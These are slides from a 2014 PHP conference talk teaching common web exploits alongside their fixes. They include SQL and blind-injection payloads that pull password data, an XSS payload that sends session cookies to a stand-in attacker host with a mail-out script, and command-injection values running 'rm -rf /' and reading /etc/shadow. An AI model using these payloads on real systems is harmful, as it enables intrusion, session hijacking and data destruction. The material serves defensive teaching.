Hacking Sites for Fun and Profit

SkiPHP 2014

David Stockton

or How to Hack Websites and Prevent Your Site from Being

Hacked

or How I Learned to Stop Worrying and Love the SQL Injection

Web

What this is for• Learn how common exploits are

done and how to identify code that is vulnerable

• Learn how to fix code that is susceptible to these attacks

• Learn how to attack your own code and your own sites so you can fix them

What this is not for• Hacking or attacking sites

that you do not have permission to attack !

• Don’t do it.

The Code

• The code I am showing you is similar to real code I’ve seen in real projects, but it was written specifically for this presentation.

Exploit 1:• SQL injection

!

• select * from users where username = '$_POST['username']';

SQL Injection• $_POST['username'] = “' OR 1=1; --;”;

!

!

• select * from users where username = '' OR 1=1; --;';

SQL Injection• $_GET

• $_POST

• $_REQUEST

!

• what else...

SQL Injection• $_COOKIE

!

• values from the database

!

• Some parts of $_SERVER

Errors can help attackers• Showing SQL errors can help attackers fix SQL injection

attempts

!

• Other errors can help in other ways (some show passwords)

!

• Turn off display_errors in production, but log errors always

Blind SQL injection• Make calls that take

varying amounts of time to run. Use the time to determine the answers to questions about the systems you are attacking.

Blind SQL injection

• http://news.org/news.php?id=5

• http://news.org/news.php?id=5 and 1=1

• http://news.org/news.php?id=5 and 1=2

Determine DB version

• news.php?id=5 and substring(@@version, 1,1)=5

Subselects?

• news.php?id=5 and (select 1) = 1

Access to other databases/tables

• news.php?id=12 and (select 1 from mysql.user limit 0,1) = 1

Guessing tables

• news.php?id=6 and (select 1 from users limit 0,1) =1

Guessing column names

• news.php?id=11 and (select substring(concat(1, password),1,1) from users limit 0,1)=1

Guessing data• news.php?id=4 and

ascii(substring((SELECT concat(username, 0x3a, password) from users limit 0,1),1,1))>80

!

• Increment to guess values letter by letter

Preventing SQL Injection

● mysql_real_escape_string

● Prepared statements

● Input validation and whitelists

Exploit 2:

• XSS

!

• Cross-site Scripting

What is it?

• User supplied code running in the browser

So? It’s their browser

• Yep, but it may not be their code.

So? It’s their browser

• It may not be your code, but it might call your code in a way you don’t want

XSS Code

<img src=”<?php echo $_POST[‘image’];?>”>

<.. javascript to open the print dialog ..>

So what?• What if we post code into

$_POST[‘image’]

!

● Steal session cookies ● Call Javascript APIs to causes actions

on the server (CSRF) ● Post forms as the user

The payload: $_POST[‘image’]

/images/add.gif"><script type="text/javascript">alert('xss!');</script><img src="

Ermahgerd er perperp.

Ooh, that’s soooo malicious, I’m totally shaking right now• Fine. How about this.

!

!

• image = /images/add.gif"><script type="text/javascript">document.write('<img src="http://attacker.example.com/session.php?' + document.cookie + '">'); </script><img src="

WTH did that do?

• Javascript ran FROM the site we’re attacking and it sent your site cookies to a script the attacker controls.

So you stole my cookie. So what?

• Here’s what. <?php $session = $_GET['PHPSESSID']; $body = 'Got session: ' . $session; mail('attackeremail@attacker.example.org', 'Session Captured', $body);

Oooh, you emailed my cookie... So...

Now it’s my turn...

Why this matters• Sites identify and authenticate

users with session.

• I have identified myself as you. I am now logged in as you and can do anything you can do on the site.

Ok, so I can steal my own session

• Here’s how to use it against someone.

The first part of the attack• Create an email to a link on the

attacking site that posts the code to the site under attack. Send the email to the victim.

!

• They click the link, you steal their session.

What else can I do?

• Cross Site Request Forgery (CSRF)

• Causing actions to happen on the user’s behalf

• Purchasing things, changing passwords, creating accounts, etc.

How to prevent?

• Escape output

• Whitelist URLs, domains, input

• Make the print page lookup and use image paths from a trusted source (database maybe?)

Prevent CSRF

• Use a CSRF token.

• Disallow requests that don’t contain the correct token.

Exploit prevention in general

• Filter input

• Escape output

• This works for SQL injection, XSS and more...

• in general

Exploit 3: Command injection

● shell_exec

● exec

● passthru

● system

● `some command`

PHP Web File Browser

• Supposed to allow viewing of files within the web directories

• $files = shell_exec(‘ls -al ’ . $_GET[‘dir’]);

What’s the danger?

• $_GET[‘dir’] = ‘.; rm -rf / *’;

• Or whatever.

• cat /etc/passwd; cat /etc/shadow

How to prevent?• If you must use user input in a command,

use escapeshellarg()

• $dir = escapeshellarg($_GET[‘dir’]);

• $files = shell_exec(‘ls -al ‘ . $dir);

• Validate that the input is allowed

Other types of injection● Code (eval)

● Regex

● Log

● LDAP

Other exploits● Authentication / Session management ● Information disclosure ● Sensitive data exposure ● File upload flaws ● Unchecked redirects ● Leftover debug code ● Session fixation ● Internal threats ● Privacy Violation (password in logs,

etc)

Mitigation• Validation on the client

• Reject invalid requests entirely, log intrusion attempt

• Principle of least privilege

• Filter input, escape output

One more exploit

• Session puzzling attack

• http://bit.ly/1eO7jPK

Session Puzzling

• Making requests to privileged and unprivileged pages in a particular order that can escalate privileges of the attacker

How it could work

• Page requiring authentication looks for ‘user’ in session to determine authentication

Session Puzzling

• Login -> forgot password page sends information via ‘user’ in session

Put it together

• Hit pages quickly in this order:

• Login -> forgot password / privileged page

• Privileged page sees ‘user’ and allows attacker in

How was this found?

• By accident, via web crawler getting access to privileged pages

Questions?

• Please rate this talk.

• https://joind.in/10446